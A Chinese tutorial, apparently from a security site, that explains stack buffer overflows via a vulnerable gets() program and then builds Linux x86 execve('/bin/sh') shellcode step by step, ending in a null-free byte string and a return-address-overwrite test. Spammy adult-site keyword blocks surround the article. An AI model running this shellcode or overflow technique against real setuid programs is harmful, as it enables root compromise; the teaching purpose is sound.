精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

堆棧溢出技術(shù)從入門到高深:如何書寫shell code

安全 網(wǎng)站安全
雖然溢出在程序開發(fā)過程中不可完全避免,但溢出對(duì)系統(tǒng)的威脅是巨大的,由于系統(tǒng)的特殊性,溢出發(fā)生時(shí)攻擊者可以利用其漏洞來獲取系統(tǒng)的高級(jí)權(quán)限r(nóng)oot,因此本文將詳細(xì)介紹堆棧溢出技術(shù)。

雖然溢出在程序開發(fā)過程中不可完全避免,但溢出對(duì)系統(tǒng)的威脅是巨大的,由于系統(tǒng)的特殊性,溢出發(fā)生時(shí)攻擊者可以利用其漏洞來獲取系統(tǒng)的高級(jí)權(quán)限r(nóng)oot,因此本文將詳細(xì)介紹堆棧溢出技術(shù)……

在您開始了解堆棧溢出前,首先你應(yīng)該了解win32匯編語言,熟悉寄存器的組成和功能。你必須有堆棧和存儲(chǔ)分配方面的基礎(chǔ)知識(shí),有關(guān)這方面的計(jì)算機(jī)書籍很多,我將只是簡單闡述原理,著重在應(yīng)用。其次,你應(yīng)該了解linux,本講中我們的例子將在linux上開發(fā)。

相關(guān)推薦】:

堆棧溢出技術(shù)從入門到高深:利用堆棧溢出獲得shell

堆棧溢出技術(shù)從入門到高深:windows系統(tǒng)下堆棧溢出

1、首先復(fù)習(xí)一下基礎(chǔ)知識(shí)。

從物理上講,堆棧是就是一段連續(xù)分配的內(nèi)存空間。在一個(gè)程序中,會(huì)聲明各種變量。靜態(tài)全局變量是位于數(shù)據(jù)段并且在程序開始運(yùn)行的時(shí)候被加載。而程序的動(dòng)態(tài)的局部變量則分配在堆棧里面。

從操作上來講,堆棧是一個(gè)先入后出的隊(duì)列。他的生長方向與內(nèi)存的生長方向正好相反。我們規(guī)定內(nèi)存的生長方向?yàn)橄蛏希瑒t棧的生長方向?yàn)橄蛳隆簵5牟僮鱬ush=ESP-4,出棧的操作是pop=ESP+4.換句話說,堆棧中老的值,其內(nèi)存地址,反而比新的值要大。請(qǐng)牢牢記住這一點(diǎn),因?yàn)檫@是堆棧溢出的基本理論依據(jù)。

在一次函數(shù)調(diào)用中,堆棧中將被依次壓入:參數(shù),返回地址,EBP。如果函數(shù)有局部變量,接下來,就在堆棧中開辟相應(yīng)的空間以構(gòu)造變量。函數(shù)執(zhí)行結(jié)束,這些局部變量的內(nèi)容將被丟失。但是不被清除。在函數(shù)返回的時(shí)候,彈出EBP,恢復(fù)堆棧到函數(shù)調(diào)用的地址,彈出返回地址到EIP以繼續(xù)執(zhí)行程序。

在C語言程序中,參數(shù)的壓棧順序是反向的。比如func(a,b,c)。在參數(shù)入棧的時(shí)候,是:先壓c,再壓b,最后a。在取參數(shù)的時(shí)候,由于棧的先入后出,先取棧頂?shù)腶,再取b,最后取c。這些是匯編語言的基礎(chǔ)知識(shí),用戶在開始前必須要了解這些知識(shí)。

2、現(xiàn)在我們來看一看什么是堆棧溢出。

運(yùn)行時(shí)的堆棧分配

堆棧溢出就是不顧堆棧中數(shù)據(jù)塊大小,向該數(shù)據(jù)塊寫入了過多的數(shù)據(jù),導(dǎo)致數(shù)據(jù)越界,結(jié)果覆蓋了老的堆棧數(shù)據(jù)。

例如程序一:

#include

int main ( )

{

char name[8];

printf("Please type your name: ");

gets(name);

printf("Hello, %s!", name);

return 0;

}

編譯并且執(zhí)行,我們輸入ipxodi,就會(huì)輸出Hello,ipxodi!。程序運(yùn)行中,堆棧是怎么操作的呢?

在main函數(shù)開始運(yùn)行的時(shí)候,堆棧里面將被依次放入返回地址,EBP。

我們用gcc -S 來獲得匯編語言輸出,可以看到main函數(shù)的開頭部分對(duì)應(yīng)如下語句:

pushl %ebp

movl %esp,%ebp

subl $8,%esp

首先他把EBP保存下來,,然后EBP等于現(xiàn)在的ESP,這樣EBP就可以用來訪問本函數(shù)的局部變量。之后ESP減8,就是堆棧向上增長8個(gè)字節(jié),用來存放name[]數(shù)組。最后,main返回,彈出ret里的地址,賦值給EIP,CPU繼續(xù)執(zhí)行EIP所指向的指令。

堆棧溢出

現(xiàn)在我們?cè)賵?zhí)行一次,輸入ipxodiAAAAAAAAAAAAAAA,執(zhí)行完gets(name)之后,由于我們輸入的name字符串太長,name數(shù)組容納不下,只好向內(nèi)存頂部繼續(xù)寫‘A’。由于堆棧的生長方向與內(nèi)存的生長方向相反,這些‘A’覆蓋了堆棧的老的元素。 我們可以發(fā)現(xiàn),EBP,ret都已經(jīng)被‘A’覆蓋了。在main返回的時(shí)候,就會(huì)把‘AAAA’的ASCII碼:0x41414141作為返回地址,CPU會(huì)試圖執(zhí)行0x41414141處的指令,結(jié)果出現(xiàn)錯(cuò)誤。這就是一次堆棧溢出。

3、如何利用堆棧溢出

我們已經(jīng)制造了一次堆棧溢出。其原理可以概括為:由于字符串處理函數(shù)(gets,strcpy等等)沒有對(duì)數(shù)組越界加以監(jiān)視和限制,我們利用字符數(shù)組寫越界,覆蓋堆棧中的老元素的值,就可以修改返回地址。

在上面的例子中,這導(dǎo)致CPU去訪問一個(gè)不存在的指令,結(jié)果出錯(cuò)。事實(shí)上,當(dāng)堆棧溢出的時(shí)候,我們已經(jīng)完全的控制了這個(gè)程序下一步的動(dòng)作。如果我們用一個(gè)實(shí)際存在指令地址來覆蓋這個(gè)返回地址,CPU就會(huì)轉(zhuǎn)而執(zhí)行我們的指令。

在UINX/linux系統(tǒng)中,我們的指令可以執(zhí)行一個(gè)shell,這個(gè)shell將獲得和被我們堆棧溢出的程序相同的權(quán)限。如果這個(gè)程序是setuid的,那么我們就可以獲得root shell。下一講將敘述如何書寫一個(gè)shell code。

如何書寫一個(gè)shell code

一:shellcode基本算法分析

在程序中,執(zhí)行一個(gè)shell的程序是這樣寫的:

shellcode.c

------------------------------------------------------------------------

#include

void main() {

char *name[2];

name[0] = "/bin/sh"

name[1] = NULL;

execve(name[0], name, NULL);

}

------------------------------------------------------------------------

execve函數(shù)將執(zhí)行一個(gè)程序。他需要程序的名字地址作為第一個(gè)參數(shù)。一個(gè)內(nèi)容為該程序的argv[i](argv[n-1]=0)的指針數(shù)組作為第二個(gè)參數(shù),以及(char*) 0作為第三個(gè)參數(shù)。

我們來看以看execve的匯編代碼:

[nkl10]$Content$nbsp;gcc -o shellcode -static shellcode.c

[nkl10]$Content$nbsp;gdb shellcode

(gdb) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc <__execve>: pushl %ebp ;

0x80002bd <__execve+1>: movl %esp,%ebp;上面是函數(shù)頭。

0x80002bf <__execve+3>: pushl %ebx;保存ebx

0x80002c0 <__execve+4>: movl $0xb,%eax;eax=0xb,eax指明第幾號(hào)系統(tǒng)調(diào)用。

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx;ebp+8是第一個(gè)參數(shù)"/bin/sh\0"

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx;ebp+12是第二個(gè)參數(shù)name數(shù)組的地址

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx;ebp+16是第三個(gè)參數(shù)空指針的地址。;name[2-1]內(nèi)容為NULL,用來存放返回值。

0x80002ce <__execve+18>: int $0x80;執(zhí)行0xb號(hào)系統(tǒng)調(diào)用(execve)

0x80002d0 <__execve+20>: movl %eax,%edx;下面是返回值的處理就沒有用了。

0x80002d2 <__execve+22>: testl %edx,%edx

0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>

0x80002d6 <__execve+26>: negl %edx

0x80002d8 <__execve+28>: pushl %edx

0x80002d9 <__execve+29>: call 0x8001a34

<__normal_errno_location>

0x80002de <__execve+34>: popl %edx

0x80002df <__execve+35>: movl %edx,(%eax)

0x80002e1 <__execve+37>: movl $0xffffffff,%eax

0x80002e6 <__execve+42>: popl %ebx

0x80002e7 <__execve+43>: movl %ebp,%esp

0x80002e9 <__execve+45>: popl %ebp

0x80002ea <__execve+46>: ret

0x80002eb <__execve+47>: nop

End of assembler dump.

經(jīng)過以上的分析,可以得到如下的精簡指令算法:

movl $execve的系統(tǒng)調(diào)用號(hào),%eax

movl "bin/sh\0"的地址,%ebx

movl name數(shù)組的地址,%ecx

movl name[n-1]的地址,%edx

int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(execve)

當(dāng)execve執(zhí)行成功后,程序shellcode就會(huì)退出,/bin/sh將作為子進(jìn)程繼續(xù)執(zhí)行。可是,如果我們的execve執(zhí)行失敗,(比如沒有/bin/sh這個(gè)文件),CPU就會(huì)繼續(xù)執(zhí)行后續(xù)的指令,結(jié)果不知道跑到哪里去了。所以必須再執(zhí)行一個(gè)exit()系統(tǒng)調(diào)用,結(jié)束shellcode.c的執(zhí)行。

我們來看以看exit(0)的匯編代碼:

(gdb) disassemble _exit

Dump of assembler code for function _exit:

0x800034c <_exit>: pushl %ebp

0x800034d <_exit+1>: movl %esp,%ebp

0x800034f <_exit+3>: pushl %ebx

0x8000350 <_exit+4>: movl $0x1,%eax ;1號(hào)系統(tǒng)調(diào)用

0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx為參數(shù)0

0x8000358 <_exit+12>: int $0x80 ;引發(fā)系統(tǒng)調(diào)用

0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx

0x800035d <_exit+17>: movl %ebp,%esp

0x800035f <_exit+19>: popl %ebp

0x8000360 <_exit+20>: ret

0x8000361 <_exit+21>: nop

0x8000362 <_exit+22>: nop

0x8000363 <_exit+23>: nop

End of assembler dump.

看來exit(0)〕的匯編代碼更加簡單:

movl $0x1,%eax ;1號(hào)系統(tǒng)調(diào)用

movl 0,%ebx ;ebx為exit的參數(shù)0

int $0x80 ;引發(fā)系統(tǒng)調(diào)用

那么總結(jié)一下,合成的匯編代碼為:

movl $execve的系統(tǒng)調(diào)用號(hào),%eax

movl "bin/sh\0"的地址,%ebx

movl name數(shù)組的地址,%ecx

movl name[n-1]的地址,%edx

int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(execve)

movl $0x1,%eax ;1號(hào)系統(tǒng)調(diào)用

movl 0,%ebx ;ebx為exit的參數(shù)0

int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(exit)

二:實(shí)現(xiàn)一個(gè)shellcode

好,我們來實(shí)現(xiàn)這個(gè)算法。首先我們必須有一個(gè)字符串“/bin/sh”,還得有一個(gè)name數(shù)組。我們可以構(gòu)造它們出來,可是,在shellcode中如何知道它們的地址呢?每一次程序都是動(dòng)態(tài)加載,字符串和name數(shù)組的地址都不是固定的。通過JMP和call的結(jié)合,黑客們巧妙的解決了這個(gè)問題。

------------------------------------------------------------------------

jmp call的偏移地址 # 2 bytes popl %esi # 1 byte //popl出來的是string的地址。

movl %esi,array-offset(%esi) # 3 bytes //在string+8處構(gòu)造 name數(shù)組,//name[0]放 string的地址

movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7處放0作為string的結(jié)尾。

movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。

movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代碼。

movl %esi,%ebx # 2 bytes //ebx=string的地址

leal array-offset,(%esi),%ecx # 3 bytes //ecx=name數(shù)組的開始地址

leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址

int $0x80 # 2 bytes //int 0x80是sys call

movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代碼

movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值

int $0x80 # 2 bytes //int 0x80是sys call

call popl 的偏移地址 # 5 bytes //這里放call,string 的地址就會(huì)作為返回地址壓棧。

/bin/sh 字符串

------------------------------------------------------------------------

首先使用JMP相對(duì)地址來跳轉(zhuǎn)到call,執(zhí)行完call指令,字符串/bin/sh的地址將作為call的返回地址壓入堆棧。現(xiàn)在來到popl esi,把剛剛壓入棧中的字符串地址取出來,就獲得了字符串的真實(shí)地址。然后,在字符串的第8個(gè)字節(jié)賦0,作為串的結(jié)尾。后面8個(gè)字節(jié),構(gòu)造name數(shù)組(兩個(gè)整數(shù),八個(gè)字節(jié))。

我們可以寫shellcode了。先寫出匯編源程序。

shellcodeasm.c

------------------------------------------------------------------------

void main() {

__asm__("

jmp 0x2a # 3 bytes

popl %esi # 1 byte

movl %esi,0x8(%esi) # 3 bytes

movb $0x0,0x7(%esi) # 4 bytes

movl $0x0,0xc(%esi) # 7 bytes

movl $0xb,%eax # 5 bytes

movl %esi,%ebx # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int $0x80 # 2 bytes

movl $0x1, %eax # 5 bytes

movl $0x0, %ebx # 5 bytes

int $0x80 # 2 bytes

call -0x2f # 5 bytes

.string /"/bin/sh/" # 8 bytes

");

}

編譯后,用gdb的b/bx 〔地址〕命令可以得到十六進(jìn)制的表示。

下面,寫出測(cè)試程序如下:(注意,這個(gè)test程序是測(cè)試shellcode的基本程序)

test.c

char shellcode[] ="/xeb/x2a/x5e/x89/x76/x08/xc6/x46/x07/x00/xc7/x46/x0c/x00/x00/x00"

"/x00/xb8/x0b/x00/x00/x00/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80"

"/xb8/x01/x00/x00/x00/xbb/x00/x00/x00/x00/xcd/x80/xe8/xd1/xff/xff"

"/xff/x2f/x62/x69/x6e/x2f/x73/x68/x00/x89/xec/x5d/xc3"

void main() {

int *ret;

ret = (int *)&ret + 2; //ret 等于main()的返回地址 //(+2是因?yàn)椋河衟ushl ebp ,否則加1就可以了。)

(*ret) = (int)shellcode; //修改main()的返回地址為shellcode的開始地址。

}

[nkl10]$Content$nbsp;gcc -o test test.c

[nkl10]$Content$nbsp;./test

$Content$nbsp;exit

[nkl10]$Content$nbsp;

我們通過一個(gè)shellcode數(shù)組來存放shellcode,當(dāng)我們把程序(test.c)的返回地址ret設(shè)置成shellcode數(shù)組的開始地址時(shí),程序在返回的時(shí)候就會(huì)去執(zhí)行我們的hellcode,從而我們得到了一個(gè)shell。運(yùn)行結(jié)果,得到了bsh的提示符$,表明成功的開了一個(gè)shell。這里有必要解釋的是,我們把shellcode作為一個(gè)全局變量開在了數(shù)據(jù)段而不是作為一段代碼。是因?yàn)樵诓僮飨到y(tǒng)中,程序代碼段的內(nèi)容是具有只讀屬性的。不能修改。而我們的代碼中movl %esi,0x8(%esi)等語句都修改了代碼的一部分,所以不能放在代碼段。這個(gè)shellcode可以了嗎?很遺憾,還差了一點(diǎn)。大家回想一下,在堆棧溢出中,關(guān)鍵在于字符串?dāng)?shù)組的寫越界。但是,gets,strcpy等字符串函數(shù)在處理字符串的時(shí)候,以"/0"為字符串結(jié)尾。遇/0就結(jié)束了寫操作。而我們的shellcode串中有大量的/0字符。因此,對(duì)于gets(name)來說,上面的shellcode是不可行的。我們的shellcode是不能有/0字符出現(xiàn)的。

因此,有些指令需要修改一下:

舊的指令 新的指令

movb $0x0,0x7(%esi) xorl %eax,%eax

molv $0x0,0xc(%esi) movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

--------------------------------------------------------

movl $0xb,%eax movb $0xb,%al

--------------------------------------------------------

movl $0x1, %eax xorl %ebx,%ebx

movl $0x0, %ebx movl %ebx,%eax

inc %eax

--------------------------------------------------------

最后的shellcode為:

------------------------------------------------------------------------

char shellcode[]=

00 "/xeb/x1f" /* jmp 0x1f */

02 "/x5e" /* popl %esi */

03 "/x89/x76/x08" /* movl %esi,0x8(%esi) */

06 "/x31/xc0" /* xorl %eax,%eax */

08 "/x88/x46/x07" /* movb %eax,0x7(%esi) */

0b "/x89/x46/x0c" /* movl %eax,0xc(%esi) */

0e "/xb0/x0b" /* movb $0xb,%al */

10 "/x89/xf3" /* movl %esi,%ebx */

12 "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */

15 "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */

18 "/xcd/x80" /* int $0x80 */

1a "/x31/xdb" /* xorl %ebx,%ebx */

1c "/x89/xd8" /* movl %ebx,%eax */

1e "/x40" /* inc %eax */

1f "/xcd/x80" /* int $0x80 */

21 "/xe8/xdc/xff/xff/xff" /* call -0x24 */

26 "/bin/sh" /* .string /"/bin/sh/" */

 

責(zé)任編輯:藍(lán)雨淚 來源: 紅黑聯(lián)盟
相關(guān)推薦

2012-11-27 15:46:51

堆棧溢出

2012-11-27 16:03:00

堆棧溢出

2017-01-03 16:57:58

2014-04-15 13:16:00

Code Review

2014-03-17 11:05:00

ScriptCode Blocks

2016-12-19 09:02:05

Linux Shell刪除跑路

2017-06-26 09:15:39

SQL數(shù)據(jù)庫基礎(chǔ)

2025-01-07 14:42:09

2020-04-10 15:05:09

深度學(xué)習(xí)人工智能蒸餾

2012-02-29 00:49:06

Linux學(xué)習(xí)

2025-02-24 10:07:10

2021-07-01 07:03:32

開發(fā)Webpack代碼

2022-08-16 09:34:50

程序員技術(shù)

2013-06-06 13:42:48

OSPF入門配置

2018-06-12 11:01:55

HBase誤刪數(shù)據(jù)

2022-06-10 08:17:52

HashMap鏈表紅黑樹

2022-10-20 08:02:29

ELFRTOSSymbol

2010-02-06 15:31:18

ibmdwAndroid

2009-07-22 14:55:16

ibmdwAndroid

2016-12-08 22:39:40

Android
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

亚洲va久久久噜噜噜| 最近的2019中文字幕免费一页| 欧妇女乱妇女乱视频| 欧美一级在线免费观看| 国产女优一区| 色婷婷综合久久久久中文字幕1| 中文字幕一区二区在线观看视频 | 国产在线看一区| 久久久久久久久久久成人| 精品无码一区二区三区| 欧美日韩黄网站| 欧美性xxxx极品高清hd直播| 一区国产精品| 亚洲日本中文字幕在线| 精品在线视频一区| 5278欧美一区二区三区| 国产麻豆视频在线观看| 欧美成人午夜77777| 欧美日韩一区二区三区视频| 久久精品无码中文字幕| 日韩精品黄色| 91理论电影在线观看| 亚洲aⅴ日韩av电影在线观看| 亚洲精品男人天堂| 欧美激情四色| 亚洲一区二区黄| 在线播放av网址| av免费在线一区| 精品免费在线视频| 精品一区二区三区毛片| av资源网站在线观看| 99视频超级精品| 91手机在线观看| 亚洲一级片免费看| 日韩精品五月天| 欧美亚洲视频在线看网址| 美女福利视频在线观看| 天天色天天射综合网| 在线色欧美三级视频| 国产福利短视频| 国产精品玖玖玖在线资源| 欧美一区二区三区在线观看| 日本 片 成人 在线| 精品3atv在线视频| 欧美性色视频在线| 精品少妇一区二区三区在线| 羞羞的视频在线观看| 亚洲视频中文字幕| 亚洲一区二区三区色| porn视频在线观看| 国产欧美一区二区精品性色| 欧洲亚洲一区二区三区四区五区| 午夜av免费在线观看| www.在线欧美| 国产私拍一区| 午夜18视频在线观看| 99久久久无码国产精品| 精品乱码一区二区三区| 十八禁一区二区三区| 成人激情黄色小说| 国产伦精品一区二区三区| 丰满少妇高潮在线观看| 成人久久久精品乱码一区二区三区| 91免费的视频在线播放| 99精品久久久久久中文字幕| 国产综合久久久久久鬼色| 91精品在线看| aaaa一级片| 成人性视频网站| 久久精品国产99精品国产亚洲性色| 色欲久久久天天天综合网 | 成人在线播放av| av网站在线免费看| 不卡的电视剧免费网站有什么| 国产精品免费在线播放| 日色在线视频| 欧美韩国日本不卡| 亚洲精品一品区二品区三品区| 最新真实国产在线视频| 亚洲免费三区一区二区| cao在线观看| 欧美gay囗交囗交| 欧美日韩亚洲一区二区三区| 玩弄中年熟妇正在播放| 日韩成人亚洲| 日韩欧美国产三级电影视频| 亚洲调教欧美在线| 九九视频精品全部免费播放| 日韩性生活视频| 国产性生活网站| 久久精品网址| 亚洲一区二区三区sesese| 三级网站免费观看| 国产精品视频线看| 免费看欧美黑人毛片| 高清电影一区| 日韩丝袜情趣美女图片| 精品人妻无码一区二区三区 | 亚洲日本成人网| 777777国产7777777| 亚洲乱码视频| 成人春色激情网| 亚洲色图另类小说| 综合久久综合久久| 国产精品333| 国产精品99久久免费| 亚洲国产精品悠悠久久琪琪| 国产又粗又猛又爽又黄的视频四季 | 欧美v日韩v国产v| av在线网站观看| 91精品国产91久久久久久密臀| 97人人做人人爱| 国产又大又黑又粗| 97久久精品人人澡人人爽| 最新精品视频| 三上悠亚亚洲一区| 精品福利二区三区| 永久免费看黄网站| 蜜桃精品视频在线观看| 久久综合中文色婷婷| 午夜影院免费在线| 在线播放中文一区| 免费人成又黄又爽又色| 亚洲伦理精品| 国产精品日韩高清| а√天堂官网中文在线| 精品视频一区三区九区| 能免费看av的网站| 香蕉久久夜色精品国产| 国产精品乱码视频| 中文字幕在线观看网站| 欧美日韩国产电影| 亚洲无人区码一码二码三码的含义| 亚洲巨乳在线| 国产自产在线视频一区| 啪啪免费视频一区| 欧美一三区三区四区免费在线看 | 午夜视频在线网站| 蜜乳av综合| 欧美亚洲免费电影| 日韩专区第一页| 无码av中文一区二区三区桃花岛| 91精品国产高清91久久久久久| 91综合久久| 国产综合福利在线| 免费av在线播放| 欧美另类久久久品| 亚洲综合图片一区| 久久国产精品99久久久久久老狼| 日韩成人在线资源| 91天天综合| 少妇高潮 亚洲精品| 亚洲最大成人av| 国产精品国产三级国产aⅴ中文| 国产精品视频分类| 国产精品传媒精东影业在线| 成人中文字幕+乱码+中文字幕| 欧美69xxx| 欧美一区二区精美| 免费中文字幕在线观看| 成人av资源网站| 国产l精品国产亚洲区久久| 视频一区欧美| 国产欧美精品在线| av黄在线观看| 亚洲成人网久久久| 依依成人综合网| 国产婷婷一区二区| 久久撸在线视频| 你懂的国产精品| 国产欧美日韩综合精品二区| 亚洲一二三四| 中文字幕无线精品亚洲乱码一区| 国产欧美日韩成人| 性久久久久久久| 中文字幕人妻一区二区| 日本欧美一区二区三区乱码 | 麻豆视频在线免费观看| 日韩欧美一级二级三级久久久| 国产精品第72页| 久久奇米777| 久久人人爽av| 亚洲视频精品| 日本婷婷久久久久久久久一区二区 | 亚洲狼人综合网| 欧美性少妇18aaaa视频| 中国美女黄色一级片| 国产91丝袜在线播放九色| 成人毛片一区二区| 97精品在线| 国产精品一区二区三区免费观看| 国产成人精品123区免费视频| www.99久久热国产日韩欧美.com| 亚洲av无码片一区二区三区| 欧美视频免费在线观看| 男人在线观看视频| jvid福利写真一区二区三区| 欧美美女性视频| 亚洲精选久久| 欧美一级黄色录像片| 一区二区三区四区在线看| 亚洲精品欧美一区二区三区| 日韩欧美看国产| 色综合久综合久久综合久鬼88| 邻家有女韩剧在线观看国语| 日韩精品一区二区三区蜜臀 | 日韩国产在线观看| 波多野结衣与黑人| 日韩av免费大片| 精品久久中出| 午夜精品在线| 国产区精品在线观看| 午夜伦理福利在线| 久久久久久亚洲精品中文字幕| chinese偷拍一区二区三区| 亚洲国产日韩欧美在线图片| av在线免费在线观看| 欧美亚洲一区二区在线| 成人免费看片98欧美| 亚洲老妇xxxxxx| 特级西西人体高清大胆| 2021国产精品久久精品| 日韩伦理电影网站| 一本久久a久久免费精品不卡| caoporn91| 国产色91在线| 国产一级二级在线观看| 国产aⅴ综合色| 日韩av在线中文| 美女精品网站| 水蜜桃色314在线观看| 亚洲欧洲美洲一区二区三区| 日产精品高清视频免费| 亚洲综合福利| 精品国产综合久久| 99国产精品免费网站| 91欧美精品成人综合在线观看| 成人国产激情| 国产精品美女主播| 欧美日韩激情电影| 国产ts人妖一区二区三区| 黄色aa久久| 国模精品一区二区三区色天香| 影音先锋男人在线资源| 欧美成人午夜激情在线| yellow91字幕网在线| 美女性感视频久久久| www红色一片_亚洲成a人片在线观看_| 日韩在线视频观看| 日本中文字幕在线2020| www高清在线视频日韩欧美| 欧美18一19xxx性| www.日本久久久久com.| 97超碰在线公开在线看免费| 超在线视频97| 日韩伦理电影网站| 97视频免费在线观看| 热色播在线视频| 国产999精品久久久| 中文字幕系列一区| 国产日韩精品在线播放| 成人在线视频国产| 国产精品视频免费一区二区三区| 都市激情亚洲欧美| 久久riav| 欧美三级三级| 亚洲成人av动漫| 亚洲精品网址| 亚洲熟妇无码av在线播放| 亚洲美女网站| 日本一区二区黄色| 麻豆成人av在线| 俄罗斯女人裸体性做爰| 99国内精品久久| 手机毛片在线观看| 亚洲色大成网站www久久九九| 久久老司机精品视频| 色综合中文字幕| 国产精品久久久国产盗摄| 欧美成人免费网站| 免费黄色片在线观看| 日韩视频中文字幕| 都市激情久久综合| 国产极品jizzhd欧美| 97精品资源在线观看| 精品视频一区二区| 欧美亚洲精品在线| 国产一区二区四区| 日韩电影一区二区三区四区| 男人操女人下面视频| 91亚洲精品乱码久久久久久蜜桃 | 欧美极品美女视频| 久久久久久一区二区三区| 黄a在线观看| 欧美亚洲国产成人精品| 欧美特黄色片| 久久99精品久久久久久秒播放器| 欧洲杯半决赛直播| 999一区二区三区| 蜜臀va亚洲va欧美va天堂| 日本道中文字幕| 国产精品国产三级国产| 国产成人亚洲欧洲在线| 欧美精品一卡二卡| 欧美日韩国产综合视频| 九九热r在线视频精品| 朝桐光一区二区| 精品国产一区二区三区免费| 亚洲精品99| 在线观看的毛片| 26uuu成人网一区二区三区| 久热这里有精品| 在线精品视频一区二区| 天天摸天天干天天操| 九九热最新视频//这里只有精品| 韩国成人在线| 精品国产一区二区三区四区vr| 一区二区在线| 男女男精品视频站| 久久伊人中文字幕| 日韩激情一区二区三区| 欧美一区二区福利视频| 午夜在线免费观看视频| 日韩av电影国产| 美女一区二区在线观看| 精品久久久无码人妻字幂| 久久国产精品第一页| 极品蜜桃臀肥臀-x88av| 一本一道综合狠狠老| 天堂在线视频免费观看| 欧美国产视频一区二区| 欧美a在线观看| 中文字幕乱码一区二区三区| 日本女优在线视频一区二区| 国产精品毛片一区二区| 色综合咪咪久久| 欧美视频综合| 日本久久久久久| 欧美欧美黄在线二区| 欧美亚洲精品一区二区| 91亚洲永久精品| 青草视频在线观看免费| 亚洲嫩模很污视频| 黑人巨大亚洲一区二区久| 欧美精品二区三区四区免费看视频| 99国产成+人+综合+亚洲欧美| 岛国精品一区二区三区| 亚洲国产成人精品视频| 色欲av永久无码精品无码蜜桃| 久久久视频在线| 久久国产精品免费精品3p| 亚洲中文字幕无码av永久| av不卡免费在线观看| 人人干人人干人人干| 日韩精品黄色网| 毛片免费看不卡网站| 欧美日韩最好看的视频| 七七婷婷婷婷精品国产| 久久精品亚洲a| 欧美一区二区日韩| caoporn-草棚在线视频最| 久久精品欧美| 奇米777欧美一区二区| 精品国产精品国产精品| 日韩一区二区在线免费观看| 丁香花视频在线观看| 久久伦理网站| 免费观看30秒视频久久| 91免费公开视频| 精品久久久久99| 日韩影院在线| 亚洲免费久久| 国产成人综合自拍| 美女又爽又黄免费视频| 最近2019年好看中文字幕视频 | 貂蝉被到爽流白浆在线观看| 欧美男女性生活在线直播观看| 羞羞视频在线观看免费| 麻豆一区区三区四区产品精品蜜桃| 日韩高清不卡一区二区三区| 国产黄色的视频| 日韩精品视频免费在线观看| www.国产精品| 成年人网站国产| 国产视频亚洲色图| 国内精品国产成人国产三级| 欧美性在线视频| 国产精品毛片一区二区在线看| 男女性杂交内射妇女bbwxz| 色av成人天堂桃色av| 呦呦在线视频| 色99中文字幕| 大白屁股一区二区视频| 国产成人精品亚洲| 欧美高清无遮挡| 成人羞羞视频播放网站| 波多野结衣办公室双飞| 欧美日韩久久不卡| 两个人看的在线视频www| 中文字幕日韩精品一区二区|